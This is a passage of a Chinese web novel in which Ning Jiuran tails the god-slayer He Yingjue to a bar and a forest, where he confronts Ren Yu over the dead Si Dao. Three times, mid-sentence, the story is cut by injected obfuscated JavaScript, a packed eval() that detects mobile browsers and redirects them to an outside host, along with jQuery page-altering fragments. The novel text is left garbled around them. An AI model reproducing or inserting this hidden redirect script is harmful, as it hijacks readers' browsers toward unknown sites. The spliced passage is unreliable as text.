“这样好的关系,下限都是至友了吧,还能闹掰?”宁九燃站在已知的结局去看,感觉有点难以相信。 她继续往下翻。 那届提灯人大赛结束后,司道以其凌冠众人的绝对实力成为新一任弑神者,请神司主司通过其建立弑神殿的提议,按照她的推举选拔了十二位神使,弑神殿正式成立,而赫应决也成了神使之一。 “原来十二神使制度是司道提议的。”宁九燃还是第一次知道这事,看来伪神教的十二护法抄的是司道啊。 七个月后,19岁的司道单枪匹马杀进伪神教主殿,一举斩杀伪神教前任主教,从里面破开伪神教的 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这样灿烂的人,却没人见过她巅峰的耀眼。 因为她没能活到那个年纪。 宁九燃心里有些不太舒服,停顿了一会才继续往下翻。 司道做了三年的弑神者。 第一年,她出所有任务几乎都跟赫应决同行,二人配合得天衣无缝,关系看起来没出什么问题。 第二年,情况却突然发生改变。赫应决公开支持共管提案,从那之后,两人在公共场合表现出来的关系急转直下,先是日渐疏离,到了第三年,几乎到了针锋相对的情况。 “共管提案?”宁九燃以前舒坦地在平海待着的时候,最多研究研究怎么跟伪神教脱离关系,对联邦和请神司的事都不太关心,所以也不怎么了解。 包吉利非常了解她,在边上贴心标注: 现在看似四大家族归属联邦,但联邦真正的核心权力在请神司。请神司能占据主导地位,除了拥有全联邦最出色的提灯人队伍建设外,还对三样事物拥有绝对控制权——请神香、雾中草以及污染者的管控。 请神司控制这三样事物的核心机构就是弑神殿,而所谓共管,就是将这份权力分散给四大家族,由四大家族和请神司五方共管。 所以赫应决这个行为的本质就是分司道的权。 包吉利隔了两行,又补充标注:赫应决父母双亡,又没有觉醒主系神格,在梵塞卓斯的地位明高实低,送进照世计划的时候更像是一个弃子。 但自从他支持这个提案之后,他跟梵塞卓斯的关系突然就密切了起来。 宁九燃皱起眉头:所以说,赫应决是为了得到梵塞卓斯的支持才与司道对立的? 资料还剩最后一点。 在两人关系对立到就差公开决裂的时候,司道突然身亡。请神司公布的消息是被伪神教势力埋伏刺杀。 两个月后,赫应决得到请神司主司和梵塞卓斯的大力支持,出人意料地成为新一任弑神者。 包吉利的最后一处标注:此后,赫应决再不提起共管提案。 宁九燃的目光扫过最后一个字,然后慢慢移到空白处。 她能理解这为什么是农夫与蛇了。 40. 第40章 森系主题酒吧彻夜人声沸腾,而绕过灯红酒绿,就会发现最里面角落的一处卡座与周围格格不入。 年轻俊朗的男子靠在沙发上,闭着眼,眉间带着几分不耐烦,但这张过分出众的脸依然引得不少着装大胆的人上来搭讪。 “帅哥,要不要一起喝一杯?”脸上化着彩妆的吉他女故意靠在沙发的后侧,露出身体美丽的曲线,将一杯酒递到男子面前晃了晃。 见男子没应声,她绕到前面来想在沙发坐下,男子却突然睁眼,冷冽的红瞳吓得吉他女甩掉酒杯连退几步,意识到眼前的人不简单后,她连忙抱起吉他跑开。 赫应决已经忍不了了,再有下个人来烦他,他杀心都快出来了。 “凤凰,你到底还要多久?” 他手臂上的化成机械护臂的凤凰出声:“大人,我主体被您留在请神城伪装成您,我的分身被您留在请神城伪装成我的主体,我现在在这的只有分身的分身,运行速度确实没办法跟之前一样快。” 赫应决:“……” 好有道理。 凤凰继续说:“大人,您让我在梵塞卓斯的塔苏镇去监管帕拉帝安的平海的监控系统,渗透塔苏的城控系统以及扫描塔苏镇和整个原态森林,但您从下达指令到现在才过去八分钟,我认为您对人工智能的要求有些苛刻了。” “才八分钟吗?” 赫应决有些不相信地看了眼时间,发现确实是,但十分嘴硬地又说:“有时候体感时间跟实际时间是两码事。” 凤凰要是个人,现在估计就能吐槽:原来您也知道这是两码事啊…… 但凤凰只是个尽职尽责的苦命人工智能,所以一板一眼地继续说:“大人,我必须提醒您,虽然您接受了我的建议,进入了塔苏镇信号最好的地区方便我的程序运转,但是您坐的这个位置太过靠边,是这里信号最差的地方。” “行了,就这,你赶紧。”赫应决被闪烁的五彩强光晃了下眼,侧头到一边闭上眼睛。 他要是换到中间去,估计忍不了八秒龙脊就能抽到靠近他的人身上。 宁九燃在房间绕了两圈,然用个人终端给刚才那个炸毛头发消息: “你们酒吧人流量应该很大吧?如果有见到这个人,麻烦立刻通知我,谢谢。” 然后发了张赫应决的照片给他。 宁九燃不太确定赫应决会不会去酒吧,但她了解了那些资料后,凭直觉肯定赫应决是来找任聿的。 她对找任聿没什么进一步的思路,但是赫应决当年跟任聿同在照世计划中,找人肯定比她快。 发完后,她又立马下单了一个快送,点了一件跟她平时穿衣风格完全不同的墨蓝勾纹连衣裙,一顶搭配的装饰帽和一盒蓝莓蛋糕。 快送的速度名副其实,十分钟后东西就放在了宁九燃的门口。 宁九燃把东西拿进来后,个人终端一亮,是炸毛头的语音回复:“姐,是这人不?他来了好一会了,搁最里头,我刚刚找他说卡座要低消,他眼皮都没抬就把最贵的都点了,出手老大方,但气质老吓人了。” 后面还附了张他偷拍的照片。 宁九燃都不用放大,从那二五八万的气质都能确定是赫应决。 “他还真去酒吧了?” 宁九燃立刻给炸毛头回复信息:“你帮我注意下他,但别注意的太明显,要是走了帮我留意下方向。我马上就过去。” 宁九燃想了想,为了炸毛头的人身安全又补充:“万一被他发现了,你今晚就别呆在酒吧了,这人很危险。” 发完信息后,宁九燃打开蓝莓蛋糕的盒子,挖了两勺塞进嘴里,边嚼边换连衣裙。 她不困,但是有点饿了,先吃饱才能干大事。 连衣裙有些修身,款式非常复杂,宁九燃太久没穿裙子,险些被到脚踝的裙摆绊了下,费大劲才按照正确的方法穿好。 她走到全身镜前,梳直长发,勾着手给自己编了个侧麻花编发,小心地把那缕挑染的红发藏在辫子里,最后把配套的装饰帽戴好。 宁九燃打量了下镜子中的自己。 墨蓝的长裙衬得她更为高挑,与白皙的皮肤相互映衬,别致的编发搭在右肩肩头,透出几分清丽温婉。 再加上装饰帽挡住半张脸,除非特别熟悉的人,不然远看绝对认不出她来。 “满意。” 宁九燃对着这副乔装点点头,又挖了几口蓝莓蛋糕塞嘴里,剩下的用盒子装好放进冰箱,接着就匆匆离开酒店,往酒吧的方向去。 天已经有些蒙蒙亮了,深秋的凌晨温度低,宁九燃调节了下神力维持自己的体温。 这边,炸毛头正缩在吧台的角落,只露出眼睛,跟个摄像头似的瞄赫应决的背影。 突然,个人终端响起吓得他一哆嗦,看见是宁九燃连忙接通:“诶,姐,人还在呢,没丢,我给你看着呢。” “谢了啊,我已经到吧台了。”宁九燃进到酒吧,挑了个跟赫应决相距最远的位置坐下,“那个,在帮我个忙呗,想个办法去看看他在干嘛行吗?” “姐,你这有点为难人啊。”炸毛头从吧台探出去往那边看了眼,挠了挠乱发,“行,豁出去了。” 他在吧台调了一排杯五颜六色的鸡尾酒,拿了个托盘端着,一脸英勇就义地过去了。 “这位帅哥,这是赠送的本店特调!”炸毛头把托盘摆到赫应决面前的桌子上,趁机瞄了他一眼。 赫应决没睁眼,不耐烦地说:“拿走。” 这群人为什么这么烦,他想安安静静地坐在这等凤凰磨叽完怎么就这么难? 炸毛头又迅速瞄了两眼,任务完成立马配合地端起托盘:“好嘞。”然后脚底抹油溜回吧台。 赫应决抬了下眼皮。 看着蠢了点,但好歹长了脑子。 炸毛头缩回吧台,拨回宁九燃的通讯:“姐,那人坐那跟修仙似的,闭着眼一动不动,点的酒也一口没喝。哦对了,他手臂上有个黑红的像机械臂的东西,我偷看的时候正在亮。” 黑红的机械臂……应该就是凤凰了。 宁九燃想了想,问:“你们这个镇,是不是会信号不好?” “对,我们这在辖区边缘,又追求原生态主题,很多设施都缩减了,边上森林里异兽的能量场经常会干扰信号。”炸毛头带着点吐槽,接着又说,“不过姐,我们这个酒吧是这信号最好的,你有事就来这弄,包没问题。” 所以,赫应决来这肯定是利用凤凰在查什么,或者做什么。 宁九燃思考 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16801869|186875||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着,食指无意识地点着桌面。 “姐姐姐……那人起身了,要走了要走了!”炸毛头瞥见站起来的赫应决,连声在通讯里说。 “知道了。”宁九燃也站起身,透过拥挤的人群看见在过道里穿过的赫应决。 来不及犹豫了。 宁九燃把装饰帽压低了些,在离他十几步远的距离跟了上去。 “姐,这人是你的谁啊?”耳机中炸毛头还在说话,见宁九燃紧紧跟上去,忍不住好奇问,“男朋友?不像啊,这种盯梢法……啧啧……更像是……你是在追他吗?” “是什么让你得出这种奇怪的结论?”宁九燃在晃动的人群中紧盯着赫应决生怕跟丢,嘴上还抽出空来无语地小声回复。 “有一说一啊姐,你是包爷的朋友,我多说两句,长得好看不能是挑男朋友的唯一标准,这钱啊,他看着不缺,能力啊脾气啊都是很重要的……这人脾气应该不咋地……”炸毛头在通讯里念念有词。 宁九燃跟着赫应决从酒吧离开,叹了口气:“放心吧,我脾气大约比他还差。今天谢谢啦,下次打给你,挂了。”然后就按掉了通讯。 包老板的朋友怎么跟他一样八卦啊…… 赫应决接连穿过好几条街道,这人大约是腿长,走得非常快,宁九燃又不敢跟太近,一会走一会跑,躲躲藏藏地还差点跟丢。 又绕过一个弯,宁九燃跟着赫应决回到了圣堂。 “回到这了?” 宁九燃躲在路对面的一幢建筑后面,远远看着赫应决。他站在圣堂正对面,好几分钟都没动。 宁九燃心里浮出一个预感。 “大人,您应该已经发现了吧?”凤凰出声。 “嗯。”赫应决应了声,“跟的这么明目张胆,她本来也没怕我发现,只是想看看我会不会主动去认她而已。” 凤凰这个人工智能大脑时常不能理解人类的弯弯绕绕:“大人,这是什么意思?” “我是隐藏身份来这的。认出她,我就是赫应决,不认她,我就得让她跟着,看看我都在做什么。一会你别动。”赫应决嘴角慢慢弯起一丝弧度,轻声说,“来了。” 话音刚落,身后有凌厉的风带过,赫应决抬手捏住挥来的拳头,下一秒拳头抽出,来人旋身到他的正面,手刀当侧劈下,被他伸肘一挡,然后握住了手腕。 赫应决垂眸看向来人和这身与往常截然不同的伪装,眼里闪过一丝特别的情绪。 宁九燃抽了下手腕,没抽出来,随即笑着说:“这位帅哥,不好意思呀,我把你当成我认识的一位奸商,所以跟了你一路还出了手,真是抱歉。” 赫应决微微挑眉。 这就是她拿来圆场子的说辞吗?我是……奸商? 宁九燃见他还不松手,觉得此人非常不懂什么叫各退一步,靠近他低声咬牙:“大家各退一步,你再不松手,我可就要认识你了啊。” 赫应决没忍住扯了下嘴角,然后松开手:“你变脸的速度真快。” “那也没你变身快。”宁九燃收回手看着他,小声嘀咕,“昨天早上还是弑神者呢,转眼就到这了。” 赫应决看着她,突然直截了当地开口问:“宁九燃,你之前说的参加提灯人大赛的目的,是骗我的吧?” 41. 第41章 大哥,你真是想问就问,一秒都不带忍的啊。 宁九燃内心叹气但面上不显,一脸真诚地说:“没有啊。” 赫应决看着她,眼神微动,语气里满是不信:“那你来这做什么?我记得你的行程报备里写的是回平海处理家中急事。怎么,你家搬到塔苏了?” “那是因为……因为我比赛压力太大,随便写了个理由,想着来着旅行两天缓解下压力。”宁九燃张口就来,顺带展示了下自己这身非常旅游的装扮,“这很明显吧?” 赫应决:“赢了神枢,出了那么大的风头,你压力大?” “当然!”宁九燃认真“你不能只看输家的压力的,像我们突然赢了种子队伍,对手又输的那么不体面,我们要担心他们报复吧?心情太好睡不着,这是压力吧?万一别人嫉妒我们,这有压力吧……” 赫应决:……这人是怎么做到一本正经地说八道的? “你要是不准备说实话,现在就老老实实回请神城。” “我不回去。”宁九燃脸上带着笑,语气,“你以什么身份命令我回去?要是你是普通游客,我为什么要听你的?如果你是弑神者大人,我确实得听你命令,但我记得没错的话,弑神者大人现在应该在弑神殿,对吧?” 说着,宁九燃的目光慢慢下移到赫应决右手的机械臂上。 弑神者大人出席提灯人大赛的行程信息会提前公开,宁九燃看见赫应决之后就查了今天早上10点钟的贵宾出席名单,弑神者赫然在列。 所以赫应决绝对不是以弑神者的身份来的。 赫应决被气笑了。 他发现眼前这人的胆子每天呈几何倍数增长,称得上“胆”别三日,当刮目相看。之前见面多少还能恭敬地叫声赫大人,愿意装出一副乖巧无害的样子来敷衍他,现在简直到反天罡,伪装一撕就开始威胁起他来了。 他正准备说两句挽救一下自己令人望而生畏的人设,手上的凤凰突然开口:“大人,日出了。” 闻言,他抬头望去,宁九燃也顺着他的视线转身。 灰蒙蒙的云层被金光刺破,云隙透出熔金似的光边,细细的光线正好穿过圣堂的尖顶,金光折闪,竟又慢慢从尖顶透出来,化作一段弯弯绕绕的金线,往旁边的原态森林中心蔓延去。 果然出现了。 赫应决看着金线,那双暗渊般的眼睛似乎也随着天光亮了起来,指尖因激动而微微颤抖。 “这是什么?” 宁九燃观察到他的反应,她还从未在赫应决的脸上看到这么明显的情绪。 她又看了眼金线,色泽竟与昨天看到的属于任聿的神力痕迹十分相似。 难道这与任聿有关?我得想办法跟上。 宁九燃伸手拉了下赫应决,笑眯眯地说:“赫大人,那我到底是回去还是留下呢?” 赫应决看她一脸绝对不会走的表情,又看看已经蔓延到森林深处的金线,有些无奈:“跟上可以,但你必须听我的,任何事都要。” 日出之光复现神轨的时间太短,他不能耽搁,只能带着宁九燃一块了。 宁九燃乖巧地点头:“好呀。” 赫应决没工夫去判断这乖巧到底掺了多少水,手一伸,右臂上的机械立刻延展到他的背上,一双黑红的机械翼凭空展开。 “凤凰,机械翼分身。” 赫应决伸手握住宁九燃的手臂,构铸凤凰的可变形金属从他的手臂迅速流移了一部分到宁九燃的手臂上,然后停在背部变形为一对小一点的机械翼。 “凤凰,把她身上机械翼的控制权限给我。” 宁九燃:……怎么听着跟绑架似的。 刚想到这,背上的机械翼突然发动,她跟赫应决同时腾空而起,当即穿过隔开城镇与森林间的禁制屏障,沿着金线向原态森林深处飞去。 宁九燃觉得自己像极了被人拎着在飞,尤其是拎她的还是她刚刚得罪过的人,飞行体验一言难尽。 “咳咳……”宁九燃刚张开嘴就呛了口风,缓了好几下才能说话,“赫大人,我知道是我自己非要来的,但我可不可以问问这个金线是什么?” 赫应决见她呛风,抬手化出神力薄膜笼罩住他们二人,但嘴上半点不松:“你先告诉我你到底为什么来?” 宁九燃侧过脸看他:“大人是为什么来的,我就是为什么来的。” 机械翼忽然颤动了下,两人陡然下坠了几米,惊得宁九燃以为自己要掉下去了。 但是很快又稳了回去。 宁九燃的心怦怦直跳,听见凤凰开口:“大人,您刚刚的精神阈值突然出现波动,需要我为您做全身扫描吗?” 赫应决是通过精神连接控制凤凰的,精神阈值不稳会影响控制的稳定性。 波动? 宁九燃扫了眼表情没什么变化的赫应决。 他还能被什么吓到?八成又是在整我。 “不用了,凤凰。我没事。”赫应决的语气听起来是平静的,“宁九燃,你知道任聿,对不对?” 宁九燃没吭声,她不想主动说些什么。 “你刚刚看到的是任聿的一个自创神印,叫出日影。第一缕阳光照到她留下的神力之上,神力会指向神印所在的地方。”赫应决说。 “神印所在的地方?会有什么吗?”宁九燃问,“有多少人知道她这个自创神印?” “这个神印,只有她自己、我还有……还有司道知道。”赫应决说,“至于是什么,可能是她在的地方,可能是一段声音,一段影响,也可能什么都没有。” 宁九燃看了眼赫应决,他的神情看起来没什么变化,但宁九燃能感觉到一种沉闷与压抑。 就好像把赫应决冷血锐利的弑神者皮囊划开,能看到一方常年潮湿的无底深渊。 而他就在深渊里。 “赫大人,你找任聿,是为了司道大人吗?” 赫应决慢慢扭头看向她,眼底似乎颤动了下,然后又归为静止。 他收回目光,看向下方的森林,没有回答问题,而是说:“到了。” 眼前是原态森林深处,一处被虬枝盘曲的大树围绕的空地,远处还隐隐传出异兽的低吼。 赫应决拉着宁九燃降落到边上的一株大树后面,收回了凤凰的机械翼。 “看着什么都没有?”宁九燃观察了下空地,又看看四周,“你确定吗赫大人?” 赫应决看着金线指向的那块空地,总感觉好像哪里不对。 “赫大人,这个任聿留下来的东西,有没有什么触发机制?比如说什么话,或者注入神力之类的。”宁九燃看了看只有杂草的空地,开口问。 没想到赫应决真仔细思考了下,说:“好像是有的。” 宁九燃:“……那您还在等什么呢?” 话说出口,宁 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16812289|186875||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 九燃看向赫应决停滞住的表情,隐隐浮出一个不妙的猜测:“你忘了,还是就不知道?这不是全世界就你们仨知道嘛,不能够就忘了吧?” 赫应决整理了下被风拂开的风衣,说:“当时,没太听清。” 宁九燃:……服了。 “那你想想办法呀,大老远来的总不能在这干等着吧?”宁九燃环抱双手探头往那边看,随口说着,“你们不是认识很多年吗?说不定你过去喊一声‘哈喽,任聿’,人家就出现了呢。” “怎么……”赫应决的后半句“可能”还没说出口,空地处的金光忽然骤亮,无数光点好似被唤醒了一般,纷纷涌向空地中心,然后开始凝结。 宁九燃睁大眼睛,环抱的手放下来:“……发生了什么?” 赫应决也相当意外:原来是这样?任聿的风格什么时候也这么抽象了? 但他就顿了两秒,双手迅速结印,一道红色光圈瞬间绕住宁九燃。 宁九燃一愣,随即怒道:“你干嘛?” 这人过河拆桥! “这个神印能完全遮盖你的身影和气息,你出不去,别人也进不来。”赫应决说,“你先待在这里,我有一些事要先问任聿,你不适合出现。” 呵呵,你们老朋友要叙旧,就把我关在这是吧? 宁九燃不太接受并且火气很大:“赫应决,你不觉得自己的行为有些过分吗?” 赫应决从直呼大名中感受到了宁九燃的火气,大约知道自己有些许理亏,语气缓了两分:“你可以看见也可以听见,等我问完,就让你过来。但前提是在我允许之前,你绝对不可以从这里面出来。” 宁九燃抿着嘴,干瞪了他两秒,最终被迫接受了这个不平等条约。 她瞪着赫应决往空地走去的背影,心想:不过去就不过去,你被人打死在那我都不会过去的! 赫应决刚在空地中心站定,面前的光点就差不多汇成了人形,忽视掉朦朦胧胧的光圈,就像真人站在面前——那是消失了将近九年的任聿。 任聿的身形高挑,层次错落的白金色短发散在肩头,穿着露肤度很高的短装,手臂和腿都有着极其好看的肌肉线条。 她的脸与其说漂亮,更不如说俊秀,相对狭长的眼睛一扫,冷漠几乎能溢出来。 宁九燃远远看着,感觉这人的脾气估计跟赫应决是一个路子。 任聿的身形化定,抬眼一扫眼前的人,先是意外,随即神色肉眼可见地冷下来,嗤了声:“赫应决,居然是你。不过也是,司道确实什么都和你说,能唤醒我的神印也不奇怪。但我跟你没什么话说,走了。” 说着,她抬手就要散去神印。 “等等!任聿,等一下!”赫应决喊道,“我知道你讨厌我,但我找了你很多年,真的有几个关于司道的事想问你!” 任聿听到这话,倒是真停下手,瞥了下赫应决,无语地笑了两声,冷声刺道:“赫应决,你居然还有脸打听司道?怎么,在高贵又正义的弑神者之位上待了八年,忘了自己是个卑鄙的背叛者了吗?司道对你那么好,你却在她死后踩着她节节高升,赫应决,我骂你一声狼心狗肺不冤枉你吧!你居然还有脸来找我打听司道!” 大树后面的宁九燃竖着耳朵一字不落地听完,震惊地发现,她以为的老友见面温馨戏码竟猛然变成单方面的冤家路窄。 还有这任聿,骂得是一点情面都不留啊。 42. 第42章 宁九燃把目光转向赫应决。 堂堂弑神者被骂成这样,这人不会发飙吧? 赫应决沉默了下,开口:“不冤枉。” 宁九燃再一次震惊了。 赫应决继续说:“你骂的对。” 宁九燃:……这还是我认识的赫应决吗?! 这人那张舔一下能把自己毒死的嘴,刚刚掉森林外头了? 赫应决站在任聿的神力影身前,指尖控制不住地微微颤抖,他把手握成拳放到背后,再抬起头时,脸上却看不到一点属于弑神者的高傲神态,低哑开口:“你可以骂我,我也可以道歉,怎么样都可以,只要你能回答我几个问题。” 任聿看着他,仿佛又看到十几年前那个站在司道身后的少年,英俊的脸上蒙了如雾气一般的忧郁,气质单薄却又坚定。 如果司道还活着,看见这样的他,即使隔了这么多事,可能还是会选他。 但这个世界上除了司道那个想着拯救世界的傻子,应该再不会有人轻易对着赫应决心软了。 任聿冷声说:“如果我不回答呢?反正我也只是借着神印出现在这里,散去神印我就会消失。” 赫应决的语气慢慢平静下来,一字一顿地说:“我会找到你这次出现的缘由,继续一寸一寸地找你,一寸一寸地去找到我想知道的东西,直到我死为止。” 任聿脸色微变,想了想,问:“你想问什么?” 赫应决:“第一个问题,当初是谁帮你离开请神司的?” 他知道,任聿当初不是突然请辞,而是出逃。一夜之间,任聿带着违规预支的雾中草和请神香消失得一干二净,请神司主司全渠道暗中搜寻无果,甚至连用来测试和感知神格的青铜古镜都查不到她的任何踪迹。这不是任聿一个人可以办到的。 一直在偷听的宁九燃觉得信息量有点大。 任聿居然不是请辞的,神使出逃甚至还有帮手,这个故事有点复杂了…… 任聿听到这个问题,笑了声,眼神却愈发冷了:“赫应决,你猜不到吗?这个答案你应该很清楚才是。毕竟她帮我离开的时候,也精心为另一个人准备了离开请神司的路。” 宁九燃看见赫应决听到这段话后,就像被什么重重打了一掌,身形未动但心肺已伤,她看不清赫应决的表情,却能听见他的声音明显地发颤:“你说什么?” 任聿看他痛,脸上的笑更嘲讽了些,有心刺他:“司道在帮我离开之前,早就为你准备好了离开请神司的方案,她那么努力地想帮你实现你想要的自由,你却把她逼的没有退路,是不是很可悲很讽刺啊,赫应决?” 帮我实现我想要的……自由…… 赫应决后退了一步,无法名状的痛从四肢百骸瞬间蔓出,痛得他喘不上气,眼前一片模糊。 “赫应决,你就非要离开弑神殿吗?” 司道的质问声在耳边恍然响起,他依稀记得那天司道看向他的眼神,困惑、不解还有失望。 不是……不是这样的…… 赫应决艰难地喘了几口气,手慢慢捂住心脏的位置,一时脱力半跪到地上,膝盖与地面相撞发出“砰”的声响。 她……她真的为我…… 真的准备帮我离开了…… 看到这一幕的宁九燃,从本来的半蹲站了起来。 赫应决给她下的神印红圈是对外界完全屏蔽的,所以她在这边无论做什么别人也看不见。 宁九燃彻底状况外了。 别说她听不懂任聿在说什么,她现在连赫应决都完全看不明白。 这平时令人闻风丧胆的弑神者,抬手就能杀一片,却被任聿几句令人摸不着头脑的话弄得好像要碎在那了。 现在高手过招,已经进化成这样了? 任聿看着赫应决,只觉得心中都畅快了许多。 但这还不够。 她抬起右手,神力聚成一片金羽,随即金羽飞刺向赫应决。赫应决只是半跪在那,不闪不避,金羽直接刺穿他的腹部,鲜血喷溅,他的身形晃了晃,捂住伤口,血从嘴角溢出。 不是,就……任由别人打啊? 宁九燃觉得今天真是开了眼了。 任聿见赫应决生抗她的攻击,表情变了变,随即说:“赫应决,当初在照世计划里,我最烦的就是你了,觉得你不过是个皮囊长得好的小白脸,没有司道你都活不下去。但我后来才意识到我小瞧了你。今天机会刚好,我们比试一下,你如果能在日落前找到我留在原态森林里的另一处神印,我就来见你,回答你的问题。但如果做不到,赫应决,我不会给你再在我面前提起司道的机会。“ 说完,任聿双手一叠,身影化作无数道流光散向森林四周,而下一秒,异兽被神力影响纷纷暴动。 宁九燃敏锐地感觉到地面在震动,任聿用神力流光激怒了附近的异兽,它们正在往这狂奔。原态森林是除了神异森林外的第二大森林,核心区域有着无数凶残强大的异兽。 正常来说,宁九燃是不必慌的,毕竟跟她一块来的是请神司第一杀器。但现在这个第一杀器跟被人抽了魂似的,口吐鲜血跪在那,这个情况就不能按照正常来说了。 仅仅思量了几秒,一只飞行的蛊雕就已当空冲向暴露在空地中心的赫应决,面对它的利爪攻击,赫应决竟抬手去挡,钩爪划过机械臂发出刺耳的声音,蛊雕被撞击后迅速二次爪下,直接划伤赫应决的右肩,巨大的冲击力让赫应决踉跄地翻了个身。 “他在搞什么?不想活了找死吗?” 宁九燃简直无法理解,以他的神力,这只蛊雕压根就不可能近他的身! 眼看蛊雕又要再次攻击,远处的树影里已经可以隐约看见别的异兽的影子,宁九燃咬咬牙,单脚跺地瞬间迸发神力,打算冲开赫应决下的神印。 然而下一秒,宁九燃几乎要被赫应决气到。她用了火鹤神格的八成神力去冲这个神印,神印纹丝不动,甚至一点波澜都没有! 赫应决你防贼呢!这神印起码用了他七重神力! 宁九燃气得要笑出来,咬牙气道:“爱死不死了,我就在这待着。” 赫应决半跪在地上,勉强抬手再次挡下蛊雕的钩爪,皮肉撕裂的痛和浑身上下不知从何而起的痛杂在一起,竟变得麻木了,甚至都无法控制凤凰帮他攻击那只蛊雕。 他艰难地眨了几下眼睛,视线一会模糊一会清晰。 算了,就到这里吧。 他低低地喘了口气,耳边是再一次响起的蛊雕的啸叫,它被激怒了,带着剧毒的钩爪正冲着他的正面抓下。 赫应决没准备再抬手,他撑着这副早已支离破碎的躯壳走了八年,连呼吸都带着无法承受的重量。 那就结束吧。 “咻——” 一道刺目的火光从赫应决的眼前闪过,精准击穿差一点就要碰到他脖颈的蛊雕,爆裂的九凤火焰当即让蛊雕灰飞烟灭。 赫应决慢慢转过头,忽明忽灭的视线里,是宁九燃。 她站在那株大树旁,还保持着拉弓的姿势,手中是神力所化的长弓 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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趁这个间隙,她咬牙扛起赫应决往另一边走,没走两步却差点被某人长得过分的腿给绊倒。 宁九燃脱鞋净身高1米69,虽然称不上多高,但也绝不算矮小。但赫应决这人不知道是吃什么长大的,身材比例好得过分,手长脚长个子高,看着起码比她高20厘米。宁九燃扛得过于费劲,恨不得给他的腿削掉一截。 宁九燃就这样一边踉踉跄跄,一边在心里骂骂咧咧,还得顺带手击退扑上来的异兽,等她终于把赫应决拖进一个山洞放好,在洞口设下神印屏障后,整个人啪嗒坐下,感觉比打了十场比赛还累。 坐了没两秒,宁九燃意识到被她放在地上的这人血好像都快流干了,抱着快耗尽的良心走到他身前,把他扶起来靠到岩壁上。但这岩壁不知道怎么长的,呈一个凸出来的形状,一靠就滑下来。 赫应决风衣里的白衬衫几乎被血浸透,腹部的伤还一直在出血,薄唇几乎没了血色,再让他躺在地上,宁九燃感觉自己像是在虐待病患。 再三思量后,宁九燃叹了口气,在他旁边坐下,小心翼翼地把人扶起来靠到自己的肩上,心想:算了,就当是为了这张脸。 宁九燃伸手探了下他的鼻息,有些微弱,再观察了下腹部的出血量,感到很疑惑。 按理说,以赫应决的神力修为,愈合能力肯定超过一般人,伤口不应该还出这么大量的血。 对了,神力修为……这人刚刚的表现实在奇怪…… 想到这,宁九燃轻轻解开他的衣扣,伸手释放神力探上他后颈的神脉,随即手一顿,又连忙探了两次。 在确定不是自己探错后,宁九燃不可置信地看向靠在她肩上昏迷的赫应决。 此刻,他的神脉里,竟没有一点神力的存在! 43. 第43章 格利烬坦辖区位于联邦北部,是一个在皑皑风雪中兴起的家族。 赫应决的父亲赫信接任家主时,格利烬坦就如暴风雪中的木质堡垒,庞大古老但摇摇欲坠。主系式微,支脉离心,新一代子弟中甚至没有3S级别的雷泽龙,在请神司中的话语权前所未有的低。 赫信年轻气盛,大刀阔斧地进行内部改革,亲自训练家族子弟并率领他们抗击伪神教的侵扰,立志要重振家族。所以,赫应决时常一个月也见不到父亲一面,而他的母亲身体羸弱,性情也较为温和内敛,赫信不在的时候,她就整天待在他的书房看书画画。 在13岁以前,赫应决除了在书房陪母亲,做的最多的事就是一个人爬到主城最高的塔楼里,透过塔楼窗户的厚玻璃,看漫天飞雪,一看就是一整天。 很偶尔的时候,赫应决会在白茫茫的的远方看见归来的机甲车队,他能一眼认出最前面的是不是家主的座驾,如果是,他就会飞快从高高的塔楼跑下,一口气跑进书房。母亲往往会温柔地冲他笑笑,抬手帮他拂去头发上的碎雪,然后和他一起等着父亲进来。 他就这样一直等到13岁,后来就等不到父亲了。 赫信在一次出行中,遭伪神教埋伏,他拼尽全力保护了附近的民众,自己却被黑雾重度污染,送回主城时已完全神志不清。 赫应决只记得那天晚上,他躲在门外,先听到的是母亲的哭声,而后他看见他的亲叔叔赫卓接待了一批身穿请神司主司服饰的人到了议事厅。 他悄悄跟了上去,听见叔叔对家中的几个长老说:“我们格利烬坦本就衰落了,好不容易有所改善,你们要把大哥的努力都白费掉吗?黑雾污染没法逆转,你们难道想让全联邦都知道格利烬坦有个污染者家主吗?” “那……那能怎么办?”几个长老已经慌不择路了。 赫卓安抚他们,低声说:“司里派人来了,说可以把大哥带到安全的地方保护起来,我们对外宣布大哥是保护民众战死就好了。这样大哥能有请神司的照顾,格利烬坦的体面也能留住!” 一个长老犹犹豫豫地开口:“这……怎么能把格利烬坦的家主交给别人呢?何况,请神司怎么会隐瞒污染者呢?” 赫卓见他反对,怒道:“这是请神司,什么叫别人?你们难道还不相信请神司吗?不把大哥送过去,你还有什么办法吗?你们说啊!等天一亮,事情传开,你们还想怎么收场!” 几个长老都不出声了。 赫应决缩在门外,很多话他都没听明白,但他听懂了一点:他们要把父亲送走。 可他不想父亲走! 他大喘几口气,生生把眼泪憋回去,小心翼翼地离开议事厅周围后,下了个决定,撒开腿狂奔向母亲的房间。 他要告诉母亲,和母亲一起保护父亲! 